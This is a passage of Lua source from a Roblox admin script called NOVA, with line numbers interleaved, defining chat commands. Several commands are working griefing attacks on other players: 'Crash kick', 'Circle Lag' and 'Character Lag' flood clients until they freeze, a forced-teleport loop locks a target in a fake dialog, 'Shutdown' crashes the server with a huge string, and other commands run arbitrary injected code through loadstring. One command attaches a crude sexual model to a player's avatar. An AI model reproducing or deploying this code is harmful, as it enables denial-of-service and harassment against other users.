                    Accept.TextColor3 = Color3.new(1,1,1)
4051
                    Accept.Size = UDim2.new(0, 100, 0, 50)
4052
                    Accept.Position = UDim2.new(0,20,0,270)
4053
                    Accept.ZIndex = 10
4054
 
4055
                    Decline = Instance.new("TextButton",Frame)
4056
                    Decline.Name = "DeclineButton"
4057
                    Decline.Text = "Yes"
4058
                    Decline.Style = "RobloxButton"
4059
                    Decline.FontSize = "Size24"
4060
                    Decline.Active = true
4061
                    Decline.TextColor3 = Color3.new(1,1,1)
4062
                    Decline.Size = UDim2.new(0, 100, 0, 50)
4063
                    Decline.Position = UDim2.new(1, -120, 0, 270)
4064
                    Decline.ZIndex = 10
4065
 
4066
                    Darken = Instance.new("Frame",Frame)
4067
                    Darken.Name = "Darken"
4068
                    Darken.Style = "RobloxRound"
4069
                    Darken.Size = UDim2.new(1,16,1,16)
4070
                    Darken.Position = UDim2.new(0,-8,0,-8)
4071
                    Darken.Active = true
4072
                    Darken.Visible = false
4073
 
4074
                    Backing = Instance.new("Frame",ScreenGui)
4075
                    Backing.Name = "Backing"
4076
                    Backing.BackgroundColor3 = Color3.new(1,1,1)
4077
                    Backing.Size = UDim2.new(1,0,1,0)
4078
                    Backing.Active = true
4079
                    ScreenGui.Parent = game:GetService("CoreGui")
4080
                   
4081
                    while true do wait()
4082
                        game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
4083
                    end
4084
 
4085
 
4086
                ]],v.Backpack)
4087
            end)
4088
        end
4089
    end
4090
)
4091
 
4092
AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
4093
    function(Msg,Speaker)
4094
            coroutine.resume(coroutine.create(function()
4095
            NOVA.Services.Lighting.TimeOfDay = 0
4096
            NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
4097
            NOVA.Services.Lighting.Brightness = 0
4098
            NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
4099
            NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
4100
            NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
4101
 
4102
            for _,v in pairs(GetRecursiveChildren(workspace)) do
4103
                if v:IsA("BasePart") then
4104
                    Sel = Instance.new("SelectionBox",v)
4105
                    Sel.Color = BrickColor.new("Really red")
4106
                    Sel.Transparency = 0
4107
                    Sel.Adornee = v
4108
                end
4109
            end
4110
            for i=10,1,-1 do
4111
                NOVA.Sounds.Sound.Parent = workspace
4112
                NOVA.Sounds.Sound.Volume = 1
4113
                NOVA.Sounds.Sound.Pitch = 1
4114
                NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
4115
                wait(1)
4116
                NOVA.Sounds.Sound:Play()
4117
                if NOVA.Overrided == true then return end
4118
            end
4119
            for i=5,1,-1 do
4120
                NOVA.Sounds.Sound.Parent = workspace
4121
                NOVA.Sounds.Sound.Volume = 1
4122
                NOVA.Sounds.Sound.Pitch = 1
4123
                NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
4124
                wait(1)
4125
                NOVA.Sounds.Sound:Play()
4126
                if NOVA.Overrided == true then return end
4127
            end
4128
            wait(1)
4129
            Instance.new("ManualSurfaceJointInstance",workspace)
4130
        Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
4131
        end))
4132
    end
4133
)
4134
 
4135
AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
4136
    function(Msg,Speaker)
4137
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4138
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4139
                Output("Attempt to get rid of the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4140
            else
4141
                pcall(function()
4142
                    GetRidOf(v)
4143
                end)
4144
            end
4145
        end
4146
    end
4147
)
4148
 
4149
AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
4150
    function(Msg,Speaker)
4151
        coroutine.resume(coroutine.create(function()
4152
            for _,v in pairs(NOVA.Sounds.Numbers) do
4153
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4154
                NOVA.Sounds.Sound.SoundId = v
4155
                NOVA.Sounds.Sound.Volume = 0
4156
                wait()
4157
                NOVA.Sounds.Sound:Play()
4158
                wait()
4159
                NOVA.Sounds.Sound:Stop()
4160
                wait(1)
4161
            end
4162
            for _,v in pairs(NOVA.Sounds.PlayAfter) do
4163
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4164
                NOVA.Sounds.Sound.SoundId = v
4165
                NOVA.Sounds.Sound.Volume = 0
4166
                wait()
4167
                NOVA.Sounds.Sound:Play()
4168
                wait()
4169
                NOVA.Sounds.Sound:Stop()
4170
                wait(1)
4171
            end
4172
            NOVA.Sounds.Sound.Volume = 1
4173
        end))
4174
    end
4175
)
4176
 
4177
AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
4178
    function(Msg,Speaker)
4179
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4180
            table.insert(NOVA.Targeted,v)
4181
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4182
                if part:IsA("Part") then
4183
                    coroutine.resume(coroutine.create(function()
4184
                        local SB = Instance.new("SelectionBox",part)
4185
                        SB.Name = "NOVA Target Selection Box"
4186
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4187
                        SB.Adornee = part
4188
                        wait(3)
4189
                        SB:remove()
4190
                    end))
4191
                end
4192
            end
4193
        end
4194
    end
4195
)
4196
 
4197
AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
4198
    function(Msg,Speaker)
4199
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4200
            for i=1,#NOVA.Targeted do
4201
                if NOVA.Targeted[i] == v then
4202
                    table.remove(NOVA.Targeted,i)
4203
                end
4204
            end
4205
        end
4206
    end
4207
)
4208
 
4209
AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
4210
    function(Msg,Speaker)
4211
        CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
4212
    end
4213
)
4214
 
4215
AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
4216
    function(Msg,Speaker)
4217
        CreateLocalScript([[
4218
       
4219
         LocalPlayer = game:GetService("Players").LocalPlayer
4220
script.Parent = LocalPlayer
4221
            NOVA = {
4222
                Bet = "/";
4223
                Services = {
4224
                    Workspace = game:GetService("Workspace");
4225
                    Lighting = game:GetService("Lighting");
4226
                    Debris = game:GetService("Debris");
4227
                    Players = game:GetService("Players");
4228
                    Teams = game:GetService("Teams");
4229
                    SoundService = game:GetService("SoundService");
4230
                    StarterGui = game:GetService("StarterGui");
4231
                    StarterPack = game:GetService("StarterPack");
4232
                };
4233
               
4234
                Camera = workspace.CurrentCamera;
4235
                LocalCharacter = Instance.new("Model");
4236
                LocalHead = Instance.new("Part");
4237
                LocalFire = Instance.new("Fire");
4238
            }
4239
            script.Name = NOVA.LocalPlayer.Name
4240
            script.Parent = nil
4241
            repeat wait() until NOVA.LocalPlayer.Parent == nil
4242
            game.Players.LocalPlayer.Chatted:connect(function(Msg)
4243
            if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
4244
                    game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
4245
                   
4246
                    if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
4247
                        game:GetService'TeleportService':Teleport(game.PlaceId)
4248
                    end
4249
                    if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
4250
                        pcall(function()
4251
                            newScript(Msg:sub(4),workspace)
4252
                        end)
4253
                    end
4254
                    if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
4255
                        coroutine.resume(coroutine.create(function()
4256
                            pcall(function()
4257
                                loadstring(Msg:sub(8))()
4258
                            end)
4259
                        end))
4260
                    end
4261
                    if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
4262
                        LocalPlayer.Character = workspace
4263
                    end
4264
                end
4265
            end)
4266
           
4267
            NOVA.LocalPlayer.Character = nil
4268
            NOVA.LocalHead.FormFactor = "Custom"
4269
            NOVA.LocalHead.Size = Vector3.new(3,3,3)
4270
            NOVA.LocalHead.Reflectance = 1e+999
4271
            NOVA.LocalHead.Shape = "Ball"
4272
            NOVA.LocalHead.Anchored = true
4273
            NOVA.LocalHead.CanCollide = false
4274
            NOVA.LocalHead.Transparency = 0
4275
            NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
4276
           
4277
            NOVA.LocalFire.Color = Color3.new(0,0,0)
4278
            NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
4279
            NOVA.LocalFire.Heat = 12
4280
            NOVA.LocalFire.Size = 7    
4281
 
4282
            while wait() do
4283
                pcall(function()
4284
                    NOVA.LocalCharacter.Parent=workspace
4285
                    NOVA.LocalHead.Parent = NOVA.LocalCharacter
4286
                    NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
4287
                    NOVA.LocalFire.Parent = NOVA.LocalHead
4288
                end)
4289
            end
4290
        ]],Speaker.Backpack)
4291
    end
4292
)
4293
 
4294
 
4295
AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
4296
    function(Msg,Speaker)
4297
        CreateScript(Msg,workspace)
4298
    end
4299
)
4300
 
4301
AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
4302
    function(Msg,Speaker)
4303
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4304
            CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4305
        end
4306
    end
4307
)
4308
 
4309
AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
4310
    function(Msg,Speaker)
4311
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4312
            CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4313
        end
4314
    end
4315
)
4316
 
4317
AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
4318
    function(Msg,Speaker)
4319
        CreateLocalScript(Msg,Speaker.Backpack)
4320
    end
4321
)
4322
 
4323
AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
4324
    function(Msg,Speaker)
4325
        for _,v in pairs(GetRecursiveChildren(workspace)) do
4326
            pcall(function()
4327
                v.Transparency = 7.3015691270939e-002
4328
            end)
4329
        end
4330
    end
4331
)
4332
 
4333
AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
4334
    function(Msg,Speaker)
4335
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4336
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4337
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4338
            else
4339
                pcall(function()
4340
                    CreateLocalScript([==[
4341
                        LocalPlayer = game:GetService("Players").LocalPlayer
4342
                        Camera = workspace.CurrentCamera
4343
                        while wait() do
4344
                            for i=1,10 do
4345
                                Part = Instance.new("Seat",Camera)
4346
                                Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
4347
                                Part.Shape = "Ball"
4348
                                Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
4349
                                Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
4350
                            end
4351
                        end
4352
                    ]==],v.Backpack)
4353
                end)
4354
            end
4355
        end
4356
    end
4357
)
4358
 
4359
AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
4360
    function(Msg,Speaker)
4361
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4362
            CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
4363
        end
4364
    end
4365
)
4366
 
4367
AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
4368
    function(Msg,Speaker)
4369
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4370
            for _,GUI in pairs(v.PlayerGui:children()) do
4371
                GUI:Clone().Parent = Speaker.PlayerGui
4372
            end
4373
        end
4374
    end
4375
)
4376
 
4377
AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
4378
    function(Msg,Speaker)
4379
        for _,v in pairs(NOVA.Targeted) do
4380
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4381
                if part:IsA("Part") then
4382
                    coroutine.resume(coroutine.create(function()
4383
                        local SB = Instance.new("SelectionBox",part)
4384
                        SB.Name = "NOVA Target Selection Box"
4385
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4386
                        SB.Adornee = part
4387
                        wait(3)
4388
                        SB:remove()
4389
                    end))
4390
                end
4391
            end
4392
        end
4393
    end
4394
)
4395
 
4396
AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
4397
    function(Msg,Speaker)
4398
        if Msg:sub(1,4) == "add" .. NOVA.Bet then
4399
            Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
4400
        elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
4401
            Speaker:SaveString("NoteToSelf",Msg:sub(5))
4402
        elseif Msg == "see" then
4403
            Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
4404
        end
4405
    end
4406
)
4407
 
4408
AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
4409
    function(Msg,Speaker)
4410
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4411
            local Char = v.Character
4412
            local Smite = Instance.new("Part",workspace)
4413
            Smite.FormFactor = "Custom"
4414
            Smite.TopSurface = "Smooth"
4415
            Smite.BottomSurface = "Smooth"
4416
            Smite.Anchored = true
4417
            Smite.Locked = true
4418
            Smite.Size = Vector3.new(25,3,25)
4419
            Smite.BrickColor = BrickColor.new("New Yeller")
4420
            Smite.Transparency = 1
4421
            Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
4422
            for i=1,0,-0.05 do
4423
                wait()
4424
                Smite.Transparency = i
4425
            end
4426
            coroutine.resume(coroutine.create(function()
4427
                for i=0,1,0.05 do
4428
                    wait()
4429
                    Smite.Transparency = i
4430
                end
4431
                Smite:remove()
4432
            end))
4433
            wait()
4434
            local Expl = Instance.new("Explosion",workspace)
4435
            Expl.Position = Smite.Position
4436
            Expl.BlastPressure = 1000000000
4437
           
4438
            for _,Part in pairs(GetRecursiveChildren(Char)) do
4439
                if Part:IsA("BasePart") then
4440
                    coroutine.resume(coroutine.create(function()
4441
                        for i=1,10 do
4442
                            local Sparkles = Instance.new("Sparkles",Part)
4443
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4444
                            local Fire = Instance.new("Fire",Part)
4445
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4446
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4447
                        end
4448
                        Part:BreakJoints()
4449
                        local BP = Instance.new("BodyPosition",Part)
4450
                        BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
4451
                        BP.P = 1000
4452
                        BP.position = Part.Position + Vector3.new(
4453
                            math.random(-100,100),
4454
                            100,
4455
                            math.random(-100,100))
4456
                        wait(3)
4457
                        local Expl = Instance.new("Explosion",workspace)
4458
                        Expl.Position = Part.Position
4459
                        Expl.BlastPressure = 1000000000
4460
                    end))
4461
                end
4462
            end
4463
        end
4464
    end
4465
)
4466
AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
4467
    function(Msg,Speaker)
4468
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4469
            pcall(function()
4470
        v.Character.Pants:Remove()
4471
        v.Character.Shirt:Remove()
4472
            end)
4473
        end
4474
    end
4475
)
4476
 
4477
AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
4478
    function(Msg,Speaker)
4479
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4480
               
4481
                        v.Character.Humanoid.Changed:connect(function(val)
4482
                                if val == "Health" then
4483
                                        v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
4484
                                end
4485
 
4486
                       
4487
             end)
4488
        end
4489
    end
4490
)
4491
 
4492
 
4493
AddCommand("Remove Tablets","rtab",7,"Removes tablets from player.","<Player>",
4494
    function(Msg,Speaker)
4495
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4496
       
4497
        RemoveTablets(v)
4498
 
4499
        end
4500
    end
4501
)
4502
AddCommand("Un D33k","und33k",7,"Removes the player's d33k.","No Arguments",
4503
    function(Msg,Speaker)
4504
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4505
        pcall(function()
4506
        person=v.Name
4507
        local plr = Game.Players[person]
4508
        color = "Pastel brown"
4509
        pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
4510
                        end)
4511
                        end
4512
                end
4513
)
4514
AddCommand("D33k","d33k",7,"Gives the player a d33k.","No Arguments",
4515
    function(Msg,Speaker)
4516
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4517
        pcall(function()
4518
        person=v.Name
4519
        local plr = Game.Players[person]
4520
        color = "Pastel brown"
4521
        pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
4522
        D = Instance.new("Model",plr.Character)
4523
        D.Name = "Nice thing"
4524
        bg = Instance.new("BodyGyro",plr.Character.Torso)
4525
        d = Instance.new("Part")
4526
        d.TopSurface = 0
4527
        d.BottomSurface = 0
4528
        d.Name = "Main"
4529
        d.Parent = plr.Character["Nice thing"]
4530
        d.formFactor = 3
4531
        d.Size = Vector3.new(0.6,2.5,0.6)
4532
        d.BrickColor = BrickColor.new(color)
4533
        d.Position = plr.Character.Head.Position
4534
        d.CanCollide = false
4535
        local cy = Instance.new("CylinderMesh")
4536
        cy.Parent = d
4537
        w = Instance.new("Weld")
4538
        w.Parent = plr.Character.Head
4539
        w.Part0 = d
4540
        w.Part1 = plr.Character.Head
4541
        w.C0 = CFrame.new(0,0.25,2.1)*CFrame.Angles(math.rad(45),0,0)
4542
        local c = Instance.new("Part")
4543
                c.Name = "Mush"
4544
        c.BottomSurface = 0
4545
        c.TopSurface = 0
4546
        c.FormFactor = 3
4547
        c.Size = Vector3.new(0.6,0.6,0.6)
4548
        c.CFrame = CFrame.new(d.Position)
4549
        c.BrickColor = BrickColor.new("Pink")
4550
        c.CanCollide = false
4551
        c.Parent = plr.Character["Nice thing"]
4552
        local msm = Instance.new("SpecialMesh")
4553
        msm.Parent = c
4554
        msm.MeshType = "Sphere"
4555
        local cw = Instance.new("Weld")
4556
        cw.Parent = c
4557
        cw.Part0 = d
4558
        cw.Part1 = c
4559
        cw.C0 = CFrame.new(0,1.3,0)
4560
        local ball1 = Instance.new("Part")
4561
        ball1.Parent = plr.Character["Nice thing"]
4562
        ball1.Name = "Left Ball"
4563
        ball1.BottomSurface = 0
4564
        ball1.TopSurface = 0
4565
        ball1.CanCollide = false
4566
        ball1.formFactor = 3
4567
        ball1.Size = Vector3.new(1,1,1)
4568
        ball1.CFrame = CFrame.new(plr.Character["Left Leg"].Position)
4569
        ball1.BrickColor = BrickColor.new(color)
4570
        local bsm = Instance.new("SpecialMesh")
4571
        bsm.Parent = ball1
4572
        bsm.MeshType = "Sphere"
4573
        local b1w = Instance.new("Weld")
4574
        b1w.Parent = ball1
4575
        b1w.Part0 = plr.Character["Left Leg"]
4576
        b1w.Part1 = ball1
4577
        b1w.C0 = CFrame.new(0,0.5,-.5)
4578
        local ball2 = Instance.new("Part")
4579
        ball2.Parent = plr.Character["Nice thing"]
4580
        ball2.Name = "Right Ball"
4581
        ball2.BottomSurface = 0
4582
        ball2.CanCollide = false
4583
        ball2.TopSurface = 0
4584
        ball2.formFactor = 3
4585
        ball2.Size = Vector3.new(1,1,1)
4586
        ball2.CFrame = CFrame.new(plr.Character["Right Leg"].Position)
4587
        ball2.BrickColor = BrickColor.new(color)
4588
        local b2sm = Instance.new("SpecialMesh")
4589
        b2sm.Parent = ball2
4590
        b2sm.MeshType = "Sphere"
4591
        local b2w = Instance.new("Weld")
4592
        b2w.Parent = ball2
4593
        b2w.Part0 = plr.Character["Right Leg"]
4594
        b2w.Part1 = ball2
4595
        b2w.C0 = CFrame.new(0,0.5,-.5)
4596
            end)
4597
        end
4598
    end
4599
)
4600
AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
4601
    function(Msg,Speaker)      
4602
        NOVA.Bet = Msg
4603
    end
4604
)
4605
AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
4606
    function(Msg,Speaker)
4607
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4608
           
4609
            coroutine.resume(coroutine.create(function()
4610
                                while wait() do
4611
            for i = 1, 100 do
4612
            if v:findFirstChild("PlayerGui") ~= nil then
4613
            local mes = Instance.new("Message", v.PlayerGui)
4614
            mes.Text = "Crashing"
4615
            local ex = Instance.new("Explosion", v.PlayerGui)
4616
            ex.BlastRadius = math.huge
4617
            local hint = Instance.new("Hint", v.PlayerGui)
4618
            hint.Text = "---------------------------------------------------------------------------"
4619
            local s = Instance.new("ScreenGui", v.PlayerGui)
4620
            local txt = Instance.new("TextBox", s)
4621
            txt.Size = UDim2.new(1, 0, 1, 0)
4622
            txt.Text = "Your Being Lagged"
4623
            txt.FontSize = "Size48"
4624
            end
4625
            end
4626
                                end
4627
            end))
4628
        end
4629
    end
4630
)
4631
AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
4632
    function(Msg,Speaker)
4633
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4634
            pcall(function()
4635
            v.Chatted:connect(function(Msg)
4636
            local m = Instance.new("Explosion",v.Character.Head)
4637
            m.Position = v.Character.Head.Position
4638
            end)
4639
            end)
4640
        end
4641
    end
4642
)
4643
AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
4644
    function(Msg,Speaker)
4645
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4646
            pcall(function()
4647
                for _,Part in pairs(GetRecursiveChildren(v.Character)) do
4648
                    if Part:IsA("BasePart") then
4649
                        for i=1,10 do
4650
                            local Sparkles = Instance.new("Sparkles",Part)
4651
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4652
                            local Fire = Instance.new("Fire",Part)
4653
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4654
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4655
                        end
4656
                    end
4657
                end
4658
            end)
4659
        end
4660
    end
4661
)
4662
 
4663
AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
4664
    function(Msg,Speaker)
4665
        if NOVA.ShowChat == true then
4666
            NOVA.ShowChat = false
4667
        elseif NOVA.ShowChat == false then
4668
            NOVA.ShowChat = true
4669
        end
4670
    end
4671
)
4672
 
4673
 
4674
AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
4675
    function(Msg,Speaker)
4676
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4677
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4678
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4679
            else
4680
                pcall(function()
4681
                    CreateLocalScript([[
4682
                        script.Parent = workspace.CurrentCamera
4683
                        while wait() do
4684
                            coroutine.resume(coroutine.create(function()
4685
                                for i=1,math.huge do
4686
                                    wait()
4687
                                    for i=1,10 do
4688
                                        NS = script:Clone()
4689
                                        NS.Disabled = true
4690
                                        NS.Parent = game:GetService("Players").LocalPlayer.Backpack
4691
                                        NS.Disabled = false
4692
                                    end
4693
                                    for i=1,10 do
4694
                                        game:GetService("Players").LocalPlayer.Character.Archivable = true
4695
                                        local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
4696
                                        Clone.Parent = workspace.CurrentCamera
4697
                                    end
4698
                                end
4699
                            end))
4700
                        end]],
4701
                    v.Backpack)
4702
                end)
4703
            end
4704
        end
4705
    end
4706
)
4707
 
4708
AddCommand("Building","building",1,"Generates a building.","No Arguments",
4709
    function(Msg,Speaker)
4710
        Output("This command has been disabled/depricated.",NOVA.Colors.Orange,Speaker,5)
4711
    end
4712
)
4713
 
4714
AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",    
4715
    function(Msg,Speaker)
4716
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4717
            pcall(function()
4718
                v.Character.Humanoid.PlatformStand = true
4719
            end)
4720
        end
4721
    end
4722
)
4723
 
4724
AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",    
4725
    function(Msg,Speaker)
4726
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4727
            pcall(function()
4728
                v.Character.Humanoid.PlatformStand = false
4729
            end)
4730
        end
4731
    end
4732
)
4733
 
4734
AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
4735
    function(Msg,Speaker)
4736
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4737
            pcall(function()
4738
                for _,Tool in pairs(v.Backpack:GetChildren()) do
4739
                    Tool:Clone().Parent = Speaker.Backpack
4740
                end
4741
            end)
4742
        end
4743
    end
4744
)
4745
 
4746
AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
4747
    function(Msg,Speaker)
4748
        local Give = {}
4749
        for _,v in pairs(NOVA.Services.Lighting:children()) do
4750
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4751
                function()
4752
                    table.insert(Give,v:Clone())
4753
                end
4754
            )
4755
        end
4756
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4757
            function()
4758
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4759
                    for _,Tool in pairs(Give) do
4760
                        Tool:Clone().Parent = v.Backpack
4761
                    end
4762
                end
4763
                RemoveTablets(Speaker)
4764
            end
4765
        )
4766
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4767
    end
4768
)
4769
 
4770
AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
4771
    function(Msg,Speaker)
4772
        pcall(function()
4773
            for _,Tool in pairs(Speaker.Backpack:children()) do
4774
                Tool:Clone().Parent = NOVA.Services.Lighting
4775
            end
4776
        end)
4777
    end
4778
)
4779
 
4780
AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
4781
    function(Msg,Speaker)
4782
        Split = GetSplit(Msg)
4783
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4784
            if v:FindFirstChild("PlayerGui") ~= nil then
4785
                makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
4786
            end
4787
        end
4788
    end
4789
)
4790
 
4791
AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
4792
    function(Msg,Speaker)
4793
        local Data = GetRankedTable(Speaker)
4794
        Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
4795
        Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
4796
        Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
4797
            function()
4798
                RemoveTablets(Speaker)
4799
                OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
4800
            end
4801
        )
4802
        Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
4803
        Output("How to use commands.",Data.Color,Speaker,nil,
4804
            function()
4805
                RemoveTablets(Speaker)
4806
                Output("To use a command you use 2 backslashes then the arguments seperated by backslashes.",Data.Color,Speaker)
4807
                Output("Please note it is a backslash ( located above/around the 'Return'/'Enter' key on your keyboard.",Data.Color,Speaker)
4808
                Output("Example : /kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
4809
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
4810
            end
4811
        )
4812
        Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
4813
    end
4814
)
4815
 
4816
AddCommand("Break","break",3,"Breaks all scripts in workspace.","No Arguments",
4817
    function(Msg,Speaker)
4818
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
4819
            if v:IsA("Script") then
4820
                v.Disabled = true
4821
                v.Parent = NOVA.Services.Debris
4822
                v.Disabled = true
4823
                v:Destroy()
4824
                v.Parent = NOVA.Services.Debris
4825
                v.Disabled = true
4826
                v:Destroy()
4827
            end
4828
        end
4829
    end
4830
)
4831
 
4832
 
4833
AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
4834
    function(Msg,Speaker)
4835
        pcall(function()
4836
            CreateLocalScript([[
4837
                game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
4838
                ]],
4839
                Speaker.Backpack
4840
            )
4841
        end)
4842
    end
4843
)
4844
 
4845
